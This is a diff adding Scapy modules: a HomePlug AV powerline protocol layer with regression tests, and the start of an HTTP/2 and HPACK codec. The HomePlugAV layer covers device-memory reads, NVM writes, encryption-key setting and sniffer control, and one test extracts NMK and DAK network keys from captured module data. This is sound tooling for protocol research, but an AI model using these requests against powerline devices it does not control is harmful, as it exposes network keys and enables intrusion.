+                         lambda pkt:(0x1FDE >= pkt.__offset and 0x1FDF <= pkt.__offset+pkt.__length)),
+        ConditionalField(XShortField("LocalBridgeTableAgingTime_min" , 0),
+                         lambda pkt:(0x1FDF >= pkt.__offset and 0x1FE1 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XShortField("RemoteBridgeTableAgingTime_min" , 0),
+                         lambda pkt:(0x1FE1 >= pkt.__offset and 0x1FE3 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XIntField("PhySyncReference" , 0),
+                         lambda pkt:(0x1FE3 >= pkt.__offset and 0x1FE7 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("reserved_23" , 0),
+                         lambda pkt:(0x1FE7 >= pkt.__offset and 0x1FE8 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XIntField("reserved_24" , 0),
+                         lambda pkt:(0x1FE8 >= pkt.__offset and 0x1FEC <= pkt.__offset+pkt.__length)),
+        ConditionalField(XIntField("reserved_25" , 0),
+                         lambda pkt:(0x1FEC >= pkt.__offset and 0x1FF0 <= pkt.__offset+pkt.__length)),
+        ConditionalField(StrFixedLenField("reserved_26",
+                                          b"\x00"*24,
+                                          24),
+                         lambda pkt:(0x1FF0 >= pkt.__offset and 0x2008 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("OverrideDefaultLedEventBehavior" , 0x80),
+                         lambda pkt:(0x2008 >= pkt.__offset and 0x2009 <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("ReportToHostInfo" , 0),
+                         lambda pkt:(0x2009 >= pkt.__offset and 0x200A <= pkt.__offset+pkt.__length)),
+        ConditionalField(X3BytesField("reserved_27" , 0),
+                         lambda pkt:(0x200A >= pkt.__offset and 0x200D <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("NumBehaviors" , 0),
+                         lambda pkt:(0x200D >= pkt.__offset and 0x200E <= pkt.__offset+pkt.__length)),
+        ConditionalField(PacketListField("BehaviorBlockArrayES", "", BehaviorBlockArray, length_from=lambda x: 1200),
+                         lambda pkt:(0x200E >= pkt.__offset and 0x24BE <= pkt.__offset+pkt.__length)),
+        ConditionalField(XByteField("NumEvents" , 0),
+                         lambda pkt:(0x24BE >= pkt.__offset and 0x24BF <= pkt.__offset+pkt.__length)),
+        ConditionalField(PacketListField("EventBlockArrayES", "", EventBlockArray, length_from=lambda x: 550),
+                         lambda pkt:(0x24BF >= pkt.__offset and 0x26E5 <= pkt.__offset+pkt.__length)),
+    ]
+    def __init__(self, packet="", offset = 0x0, length = 0x400):
+        self.__offset = offset
+        self.__length = length
+        return super(ModulePIB,self).__init__(packet)
+
+
+######################################################################
+# Read MAC Memory
+#####################################################################
+
+StartMACCodes = { 0x00 : "Success" } 
+
+class StartMACRequest(Packet):
+    name = "StartMACRequest"
+    fields_desc=[ ByteEnumField("ModuleID", 0x00, StartMACCodes),
+                  X3BytesField("reserver_1", 0x000000),
+                  LEIntField("ImgLoadStartAddr" , 0x00000000),
+                  LEIntField("ImgLength", 0x00000000),
+                  LEIntField("ImgCheckSum", 0x00000000),
+                  LEIntField("ImgStartAddr", 0x00000000),
+                ]
+
+class StartMACConfirmation(Packet):
+    name = "StartMACConfirmation"
+    fields_desc=[ ByteEnumField("Status", 0x00, StartMACCodes),
+                  XByteField("ModuleID", 0x00),
+                ]
+
+######################################################################
+# Reset Device
+######################################################################
+
+ResetDeviceCodes = { 0x00 : "Success" }
+
+class ResetDeviceRequest(Packet):
+    name = "ResetDeviceRequest"
+    fields_desc=[ ]
+
+class ResetDeviceConfirmation(Packet):
+    name = "ResetDeviceConfirmation"
+    fields_desc=[ ByteEnumField("Status", 0x00, ResetDeviceCodes) ]
+
+######################################################################
+# Read Configuration Block
+######################################################################
+
+ReadConfBlockCodes = { 0x00 : "Success" }
+
+class ReadConfBlockRequest(Packet):
+    name = "ReadConfBlockRequest"
+    fields_desc=[ ]
+
+CBImgTCodes = { 0x00 : "Generic Image",
+                0x01 : "Synopsis configuration",
+                0x02 : "Denali configuration",
+                0x03 : "Denali applet",
+                0x04 : "Runtime firmware",
+                0x05 : "OAS client",
+                0x06 : "Custom image",
+                0x07 : "Memory control applet",
+                0x08 : "Power management applet",
+                0x09 : "OAS client IP stack",
+                0x0A : "OAS client TR069",
+                0x0B : "SoftLoader",
+                0x0C : "Flash layout",
+                0x0D : "Unknown",
+                0x0E : "Chain manifest",
+                0x0F : "Runtime parameters",
+                0x10 : "Custom module in scratch",
+                0x11 : "Custom module update applet" }
+
+class ConfBlock(Packet):
+    name = "ConfBlock"
+    fields_desc=[ LEIntField("HeaderVersionNum", 0),
+                  LEIntField("ImgAddrNVM", 0), 
+                  LEIntField("ImgAddrSDRAM", 0),
+                  LEIntField("ImgLength", 0),
+                  LEIntField("ImgCheckSum", 0),
+                  LEIntField("EntryPoint", 0),
+                  XByteField("HeaderMinVersion", 0x00),
+                  ByteEnumField("HeaderImgType", 0x00, CBImgTCodes), 
+                  XShortField("HeaderIgnoreMask", 0x0000), 
+                  LEIntField("HeaderModuleID", 0), 
+                  LEIntField("HeaderModuleSubID", 0),
+                  LEIntField("AddrNextHeaderNVM", 0),
+                  LEIntField("HeaderChecksum", 0),
+                  LEIntField("SDRAMsize", 0),
+                  LEIntField("SDRAMConfRegister", 0),
+                  LEIntField("SDRAMTimingRegister_0", 0),
+                  LEIntField("SDRAMTimingRegister_1", 0),
+                  LEIntField("SDRAMControlRegister", 0),
+                  LEIntField("SDRAMRefreshRegister", 0),
+                  LEIntField("MACClockRegister", 0),
+                  LEIntField("reserved_1", 0), ]
+
+class ReadConfBlockConfirmation(Packet):
+    name = "ReadConfBlockConfirmation"
+    fields_desc=[ ByteEnumField("Status", 0x00, ReadConfBlockCodes),
+                  FieldLenField("BlockLen", None, count_of="ConfigurationBlock", fmt="B"),
+                  PacketListField("ConfigurationBlock", None, ConfBlock, length_from=lambda pkt:pkt.BlockLen) ]
+
+
+######################################################################
+# Write Module Data to NVM
+######################################################################
+
+class WriteModuleData2NVMRequest(Packet):
+    name = "WriteModuleData2NVMRequest"
+    fields_desc=[ ByteEnumField("ModuleID", 0x02, ModuleIDList) ]
+
+class WriteModuleData2NVMConfirmation(Packet):
+    name = "WriteModuleData2NVMConfirmation"
+    fields_desc=[ ByteEnumField("Status", 0x0, StatusCodes),
+                  ByteEnumField("ModuleID", 0x02, ModuleIDList) ]
+
+############################ END ######################################
+
+class HomePlugAV(Packet):
+    """
+        HomePlugAV Packet - by default => gets devices informations
+    """
+    name = "HomePlugAV "
+    fields_desc=[ MACManagementHeader,
+                ConditionalField(XShortField("FragmentInfo", 0x0), FragmentCond), # Fragmentation Field
+                VendorMME ]
+
+    def answers(self, other):
+        return ( isinstance(self, HomePlugAV ) )
+
+bind_layers( Ether, HomePlugAV, { "type":0x88e1 } )
+
+#   +----------+------------+--------------------+
+#   | Ethernet | HomePlugAV | Elements + Payload |
+#   +----------+------------+--------------------+
+bind_layers( HomePlugAV, GetDeviceVersion, { "HPtype" : 0xA001 } )
+bind_layers( HomePlugAV, StartMACRequest, { "HPtype" : 0xA00C } )
+bind_layers( HomePlugAV, StartMACConfirmation, { "HPtype" : 0xA00D } )
+bind_layers( HomePlugAV, ResetDeviceRequest, { "HPtype" : 0xA01C } )
+bind_layers( HomePlugAV, ResetDeviceConfirmation, { "HPtype" : 0xA01D } )
+bind_layers( HomePlugAV, NetworkInformationRequest, { "HPtype" : 0xA038 } )
+bind_layers( HomePlugAV, ReadMACMemoryRequest, { "HPtype" : 0xA008 } )
+bind_layers( HomePlugAV, ReadMACMemoryConfirmation, { "HPtype" : 0xA009 } )
+bind_layers( HomePlugAV, ReadModuleDataRequest, { "HPtype" : 0xA024 } )
+bind_layers( HomePlugAV, ReadModuleDataConfirmation, { "HPtype" : 0xA025 } )
+bind_layers( HomePlugAV, WriteModuleDataRequest, { "HPtype" : 0xA020 } ) 
+bind_layers( HomePlugAV, WriteModuleData2NVMRequest, { "HPtype" : 0xA028 } ) 
+bind_layers( HomePlugAV, WriteModuleData2NVMConfirmation, { "HPtype" : 0xA029 } )
+bind_layers( HomePlugAV, NetworkInfoConfirmationV10, { "HPtype" : 0xA039, "version" : 0x00 } )
+bind_layers( HomePlugAV, NetworkInfoConfirmationV11, { "HPtype" : 0xA039, "version" : 0x01 } )
+bind_layers( NetworkInfoConfirmationV10, NetworkInfoV10, { "HPtype" : 0xA039, "version" : 0x00 } )
+bind_layers( NetworkInfoConfirmationV11, NetworkInfoV11, { "HPtype" : 0xA039, "version" : 0x01 } )
+bind_layers( HomePlugAV, HostActionRequired, { "HPtype" : 0xA062 } )
+bind_layers( HomePlugAV, LoopbackRequest, { "HPtype" : 0xA048 } )
+bind_layers( HomePlugAV, LoopbackConfirmation, { "HPtype" : 0xA049 } )
+bind_layers( HomePlugAV, SetEncryptionKeyRequest, { "HPtype" : 0xA050 } )
+bind_layers( HomePlugAV, SetEncryptionKeyConfirmation, { "HPtype" : 0xA051 } )
+bind_layers( HomePlugAV, ReadConfBlockRequest, { "HPtype" : 0xA058 } )
+bind_layers( HomePlugAV, ReadConfBlockConfirmation, { "HPtype" : 0xA059 } ) 
+bind_layers( HomePlugAV, QUAResetFactoryConfirm, { "HPtype" : 0xA07D } )
+bind_layers( HomePlugAV, GetNVMParametersRequest, { "HPtype" : 0xA010 } )
+bind_layers( HomePlugAV, GetNVMParametersConfirmation, { "HPtype" : 0xA011 } )
+bind_layers( HomePlugAV, SnifferRequest,  { "HPtype" : 0xA034 } )
+bind_layers( HomePlugAV, SnifferConfirmation,  { "HPtype" : 0xA035 } )
+bind_layers( HomePlugAV, SnifferIndicate,  { "HPtype" : 0xA036 } )
+
+"""
+    Credit song : "Western Spaguetti - We are terrorists"
+""" 
diff --git a/scapy/contrib/homeplugav.uts b/scapy/contrib/homeplugav.uts
new file mode 100644
index 0000000..5ece808
--- /dev/null
+++ b/scapy/contrib/homeplugav.uts
@@ -0,0 +1,119 @@
+% Regression tests for Scapy
+
+# HomePlugAV
+
+############
+############
++ Basic tests
+
+* Those test are here mainly to check nothing has been broken
+
+= Building packets packet
+~ basic HomePlugAV GetDeviceVersion StartMACRequest StartMACConfirmation ResetDeviceRequest ResetDeviceConfirmation NetworkInformationRequest ReadMACMemoryRequest ReadMACMemoryConfirmation ReadModuleDataRequest ReadModuleDataConfirmation WriteModuleDataRequest WriteModuleData2NVMRequest WriteModuleData2NVMConfirmation NetworkInfoConfirmationV10 NetworkInfoConfirmationV11 NetworkInfoV10 NetworkInfoV11 HostActionRequired LoopbackRequest LoopbackConfirmation SetEncryptionKeyRequest SetEncryptionKeyConfirmation ReadConfBlockRequest ReadConfBlockConfirmation QUAResetFactoryConfirm GetNVMParametersRequest GetNVMParametersConfirmation SnifferRequest SnifferConfirmation SnifferIndicate
+
+HomePlugAV()
+HomePlugAV()/GetDeviceVersion()
+HomePlugAV()/StartMACRequest()
+HomePlugAV()/StartMACConfirmation()
+HomePlugAV()/ResetDeviceRequest()
+HomePlugAV()/ResetDeviceConfirmation()
+HomePlugAV()/NetworkInformationRequest()
+HomePlugAV()/ReadMACMemoryRequest()
+HomePlugAV()/ReadMACMemoryConfirmation()
+HomePlugAV()/ReadModuleDataRequest()
+HomePlugAV()/ReadModuleDataConfirmation()
+HomePlugAV()/WriteModuleDataRequest()
+HomePlugAV()/WriteModuleData2NVMRequest()
+HomePlugAV()/WriteModuleData2NVMConfirmation()
+HomePlugAV()/NetworkInfoConfirmationV10()
+HomePlugAV()/NetworkInfoConfirmationV11()
+HomePlugAV()/NetworkInfoConfirmationV10()/NetworkInfoV10()
+HomePlugAV()/NetworkInfoConfirmationV11()/NetworkInfoV11()
+HomePlugAV()/HostActionRequired()
+HomePlugAV()/LoopbackRequest()
+HomePlugAV()/LoopbackConfirmation()
+HomePlugAV()/SetEncryptionKeyRequest()
+HomePlugAV()/SetEncryptionKeyConfirmation()
+HomePlugAV()/ReadConfBlockRequest()
+HomePlugAV()/ReadConfBlockConfirmation()
+HomePlugAV()/QUAResetFactoryConfirm()
+HomePlugAV()/GetNVMParametersRequest()
+HomePlugAV()/GetNVMParametersConfirmation()
+HomePlugAV()/SnifferRequest()
+HomePlugAV()/SnifferConfirmation()
+HomePlugAV()/SnifferIndicate()
+
+= Some important manipulations
+~ field
+pkt = HomePlugAV()/SetEncryptionKeyRequest()
+pkt.NMK = "A" * 16
+pkt.DAK = "B" * 16
+raw(pkt)
+_ == b"\x00P\xa0\x00\xb0R\x00AAAAAAAAAAAAAAAA\x00\xff\xff\xff\xff\xff\xffBBBBBBBBBBBBBBBB"
+
+pkt = HomePlugAV()/ReadMACMemoryRequest()
+pkt.Address = 0x31337
+pkt.Length = 0x666
+raw(pkt)
+_ == b"\x00\x08\xa0\x00\xb0R7\x13\x03\x00f\x06\x00\x00"
+
+pkt = HomePlugAV()/ReadModuleDataRequest()
+pkt.Length = 0x666
+pkt.Offset = 0x1337
+raw(pkt)
+assert(_ == b"\x00$\xa0\x00\xb0R\x02\x00f\x067\x13\x00\x00")
+
+pkt = HomePlugAV()/SnifferRequest()
+pkt.SnifferControl = 0x1
+raw(pkt)
+_ == b"\x004\xa0\x00\xb0R\x01"
+
+= Some important fields parsing
+~ field
+_xstr = b"\x00%\xa0\x00\xb0R\x00\x00\x00\x00\x02\x00\x00\x04\x00\x00\x00\x00`\x8d\x05\xf9\x04\x01\x00\x00\x88)\x00\x00\x87`[\x14\x00$\xd4okm\x1f\xedHu\x85\x16>\x86\x1aKM\xd2\xe91\xfc6\x00\x00603506A112119017\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00z]\xa9\xe2]\xedR\x8b\x85\\\xdf\xe8~\xe9\xb2\x14637000A112139290\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00FREEPLUG_LC_6400_4-1_1.0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbb\xcb\x0e\x10 \xad\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00`\xe5\x16\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01\x03\x02\x80\x84\x1e\x00\x80\x84\x1e\x00\xe0\x93\x04\x00\xe0\x93\x04\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+
+pkt = HomePlugAV(_xstr)
+ReadModuleDataConfirmation in pkt
+_ == True
+(pkt[ReadModuleDataConfirmation].ModuleID == 2, pkt[ReadModuleDataConfirmation].checksum == 4177890656, pkt[ReadModuleDataConfirmation].DataLen == 1024, pkt[ReadModuleDataConfirmation].Offset == 0)
+_ == (True, True, True, True)
+
+ModulePIB(pkt.ModuleData, pkt.Offset, pkt.DataLen)
+(_.NMK == b"z]\xa9\xe2]\xedR\x8b\x85\\\xdf\xe8~\xe9\xb2\x14", _.DAK == b"\x1f\xedHu\x85\x16>\x86\x1aKM\xd2\xe91\xfc6")
+_ == (True, True)
+
+#= Discovery packet tests in local
+#~ netaccess HomePlugAV NetworkInfoConfirmationV10 NetworkInfoConfirmationV11
+#pkt = Ether()/HomePlugAV()
+#old_debug_dissector = conf.debug_dissector
+#conf.debug_dissector = False
+#a = srp1(pkt, iface="eth0")
+#conf.debug_dissector = old_debug_dissector
+#a
+#pkt.version = a.version
+#pkt /= NetworkInformationRequest()
+#old_debug_dissector = conf.debug_dissector
+#conf.debug_dissector = False
+#a = srp1(pkt, iface="eth0")
+#conf.debug_dissector = old_debug_dissector
+#NetworkInfoConfirmationV10 in a or NetworkInfoConfirmationV11 in a
+#_ == True
+
+#= Reading local 0x400st octets of Software Image in Module Data blocks
+#~ netaccess HomePlugAV ReadModuleDataRequest
+#pkt = Ether()/HomePlugAV()/ReadModuleDataRequest(ModuleID=0x1)
+#old_debug_dissector = conf.debug_dissector
+#conf.debug_dissector = False
+#a = srp1(pkt, iface="eth0")
+#conf.debug_dissector = old_debug_dissector
+#a
+#len(a.ModuleData) == pkt.Length
+#_ == True
+
+= Testing length and checksum on a generated Write Module Data Request
+string = b"goodchoucroute\x00\x00"
+pkt = WriteModuleDataRequest(ModuleData=string)
+pkt = WriteModuleDataRequest(pkt.build())
+pkt.show()
+(pkt.checksum == chksum32(pkt.ModuleData), pkt.DataLen == len(pkt.ModuleData))
+_ == (True, True)
diff --git a/scapy/contrib/http2.py b/scapy/contrib/http2.py
new file mode 100644
index 0000000..53e0d72
--- /dev/null
+++ b/scapy/contrib/http2.py
@@ -0,0 +1,2702 @@
+#############################################################################
+##                                                                         ##
+## http2.py --- HTTP/2 support for Scapy                                   ##
+##              see RFC7540 and RFC7541                                    ##
+##              for more informations                                      ##
+##                                                                         ##
+## Copyright (C) 2016  Florian Maury <florian.maury@ssi.gouv.fr>           ##
+##                                                                         ##
+## This file is part of Scapy                                              ##
+## Scapy is free software: you can redistribute it and/or modify it        ##
+## under the terms of the GNU General Public License version 2 as          ##
+## published by the Free Software Foundation.                              ##
+##                                                                         ##
+## This program is distributed in the hope that it will be useful, but     ##
+## WITHOUT ANY WARRANTY; without even the implied warranty of              ##
+## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU       ##
+## General Public License for more details.                                ##
+##                                                                         ##
+#############################################################################
+"""http2 Module
+Implements packets and fields required to encode/decode HTTP/2 Frames
+and HPack encoded headers
+
+scapy.contrib.status=loads
+scapy.contrib.description=HTTP/2 (RFC 7540, RFC 7541)
+"""
+
+from __future__ import absolute_import
+from __future__ import print_function
+import abc
+import types
+import re
+from io import BytesIO
+import struct
+import scapy.modules.six as six
+from scapy.compat import *
+from scapy.modules.six.moves import range
+
+# Only required if using mypy-lang for static typing
+# Most symbols are used in mypy-interpreted "comments".
+# Sized must be one of the superclasses of a class implementing __len__
+try:
+    from typing import Optional, List, Union, Callable, Any, Tuple, Sized
+except ImportError:
+    class Sized(object): pass
+
+import scapy.fields as fields
+import scapy.packet as packet
+import scapy.config as config
+import scapy.base_classes as base_classes
+import scapy.volatile as volatile
+import scapy.error as error
+
+########################################################################################################################
+################################################ HPACK Integer Fields ##################################################
+########################################################################################################################
+
+class HPackMagicBitField(fields.BitField):
+    """ HPackMagicBitField is a BitField variant that cannot be assigned another
+    value than the default one. This field must not be used where there is
+    potential for fuzzing. OTOH, this field makes sense (for instance, if the
+    magic bits are used by a dispatcher to select the payload class)
+    """
+
+    __slots__ = ['_magic']
+
+    def __init__(self, name, default, size):
+        # type: (str, int, int) -> None
+        """
+        @param str name: this field instance name.
+        @param int default: this field only valid value.
+        @param int size: this bitfield bitlength.
+        @return None
+        @raise AssertionError
+        """
+        assert(default >= 0)
+        # size can be negative if encoding is little-endian (see rev property of bitfields)
+        assert(size != 0)
+        self._magic = default
+        super(HPackMagicBitField, self).__init__(name, default, size)
+
+    def addfield(self, pkt, s, val):
+        # type: (Optional[packet.Packet], Union[str, Tuple[str, int, int]], int) -> Union[str, Tuple[str, int, int]]
+        """
+        @param packet.Packet|None pkt: the packet instance containing this field instance; probably unused.
+        @param str|(str, int, long) s: either a str if 0 == size%8 or a tuple with the string to add this field to, the
+          number of bits already generated and the generated value so far.
+        @param int val: unused; must be equal to default value
+        @return str|(str, int, long): the s string extended with this field machine representation
+        @raise AssertionError
+        """
+        assert val == self._magic, 'val parameter must value {}; received: {}'.format(self._magic, val)
+        return super(HPackMagicBitField, self).addfield(pkt, s, self._magic)
+
+    def getfield(self, pkt, s):
+        # type: (Optional[packet.Packet], Union[str, Tuple[str, int]]) -> Tuple[Union[Tuple[str, int], str], int]
+        """
+        @param packet.Packet|None pkt: the packet instance containing this field instance; probably unused.
+        @param str|(str, int) s: either a str if size%8==0 or a tuple with the string to parse from and the number of
+          bits already consumed by previous bitfield-compatible fields.
+        @return (str|(str, int), int): Returns the remaining string and the parsed value. May return a tuple if there
+          are remaining bits to parse in the first byte. Returned value is equal to default value
+        @raise AssertionError
+        """
+        r = super(HPackMagicBitField, self).getfield(pkt, s)
+        assert (
+            isinstance(r, tuple)
+            and len(r) == 2
+            and isinstance(r[1], six.integer_types)
+        ), 'Second element of BitField.getfield return value expected to be an int or a long; API change detected'
+        assert r[1] == self._magic, 'Invalid value parsed from s; error in class guessing detected!'
+        return r
+
+    def h2i(self, pkt, x):
+        # type: (Optional[packet.Packet], int) -> int
+        """
+        @param packet.Packet|None pkt: the packet instance containing this field instance; probably unused
+        @param int x: unused; must be equal to default value
+        @return int; default value
+        @raise AssertionError
+        """
+        assert x == self._magic, \
+            'EINVAL: x: This field is magic. Do not attempt to modify it. Expected value: {}'.format(self._magic)
+        return super(HPackMagicBitField, self).h2i(pkt, self._magic)
+
+    def i2h(self, pkt, x):
+        # type: (Optional[packet.Packet], int) -> int
+        """
+        @param packet.Packet|None pkt: the packet instance containing this field instance; probably unused
+        @param int x: unused; must be equal to default value
+        @return int; default value
+        @raise AssertionError
+        """
+        assert x == self._magic, \
+            'EINVAL: x: This field is magic. Do not attempt to modify it. Expected value: {}'.format(self._magic)
+        return super(HPackMagicBitField, self).i2h(pkt, self._magic)
+
+    def m2i(self, pkt, x):
+        # type: (Optional[packet.Packet], int) -> int
+        """
+        @param packet.Packet|None pkt: the packet instance containing this field instance; probably unused
+        @param int x: must be the machine representatino of the default value
+        @return int; default value
+        @raise AssertionError
+        """
+        r = super(HPackMagicBitField, self).m2i(pkt, x)
+        assert r == self._magic, 'Invalid value parsed from m2i; error in class guessing detected!'
+        return r
+
+    def i2m(self, pkt, x):
+        # type: (Optional[packet.Packet], int) -> int
+        """
+        @param packet.Packet|None pkt: the packet instance containing this field instance; probably unused
+        @param int x: unused; must be equal to default value
+        @return int; default value
+        @raise AssertionError
+        """
+        assert x == self._magic, \
+            'EINVAL: x: This field is magic. Do not attempt to modify it. Expected value: {}'.format(self._magic)
+        return super(HPackMagicBitField, self).i2m(pkt, self._magic)
+
+    def any2i(self, pkt, x):
+        # type: (Optional[packet.Packet], int) -> int
+        """
+        @param packet.Packet|None pkt: the packet instance containing this field instance; probably unused
+        @param int x: unused; must be equal to default value
+        @return int; default value
+        @raise AssertionError
+        """
+        assert x == self._magic, \
+            'EINVAL: x: This field is magic. Do not attempt to modify it. Expected value: {}'.format(self._magic)
+        return super(HPackMagicBitField, self).any2i(pkt, self._magic)
+
+
+class AbstractUVarIntField(fields.Field):
+    """AbstractUVarIntField represents an integer as defined in RFC7541
+    """
+
+    __slots__ = ['_max_value', 'size', 'rev']
+    """
+    :var int size: the bit length of the prefix of this AbstractUVarIntField. It
+      represents the complement of the number of MSB that are used in the
+      current byte for other purposes by some other BitFields
+    :var int _max_value: the maximum value that can be stored in the
+      sole prefix. If the integer equals or exceeds this value, the max prefix
+      value is assigned to the size first bits and the multibyte representation
+      is used
+    :var bool rev: is a fake property, also emulated for the sake of
+      compatibility with Bitfields
+    """
+
+    def __init__(self, name, default, size):
+        # type: (str, Optional[int], int) -> None
+        """
+        @param str name: the name of this field instance
+        @param int|None default: positive, null or None default value for this field instance.
+        @param int size: the number of bits to consider in the first byte. Valid range is ]0;8]
+        @return None
+        @raise AssertionError
+        """
+        assert(default is None or (isinstance(default, six.integer_types) and default >= 0))
+        assert(0 < size <= 8)
+        super(AbstractUVarIntField, self).__init__(name, default)
+        self.size = size
+        self._max_value = (1 << self.size) - 1
+
+        # Configuring the fake property that is useless for this class but that is
+        # expected from BitFields
+        self.rev = False
+
+    def h2i(self, pkt, x):
+        # type: (Optional[packet.Packet], Optional[int]) -> Optional[int]
+        """
+        @param packet.Packet|None pkt: unused.
+        @param int|None x: the value to convert.
+        @return int|None: the converted value.
+        @raise AssertionError
+        """
+        assert(not isinstance(x, six.integer_types) or x >= 0)
+        return x
+
+    def i2h(self, pkt, x):
+        # type: (Optional[packet.Packet], Optional[int]) -> Optional[int]
+        """
+        @param packet.Packet|None pkt: unused.
+        @param int|None x: the value to convert.
+        @return: int|None: the converted value.
+        """
+        return x
+
+    def _detect_multi_byte(self, fb):
+        # type: (str) -> bool
+        """ _detect_multi_byte returns whether the AbstractUVarIntField is represented on
+          multiple bytes or not.
+
+          A multibyte representation is indicated by all of the first size bits being set
+
+        @param str fb: first byte, as a character.
+        @return bool: True if multibyte repr detected, else False.
+        @raise AssertionError
+        """
+        assert(isinstance(fb, int) or len(fb) == 1)
+        return (orb(fb) & self._max_value) == self._max_value
+
+    def _parse_multi_byte(self, s):
+        # type: (str) -> int
+        """ _parse_multi_byte parses x as a multibyte representation to get the
+          int value of this AbstractUVarIntField.
+
+        @param str s: the multibyte string to parse.
+        @return int: The parsed int value represented by this AbstractUVarIntField.
+        @raise: AssertionError
+        @raise: Scapy_Exception if the input value encodes an integer larger than 1<<64
+        """
+
+        assert(len(s) >= 2)
+
+        l = len(s)
+
+        value = 0
+        i = 1
+        byte = orb(s[i])
+        # For CPU sake, stops at an arbitrary large number!
+        max_value = 1 << 64
+        # As long as the MSG is set, an another byte must be read
+        while byte & 0x80:
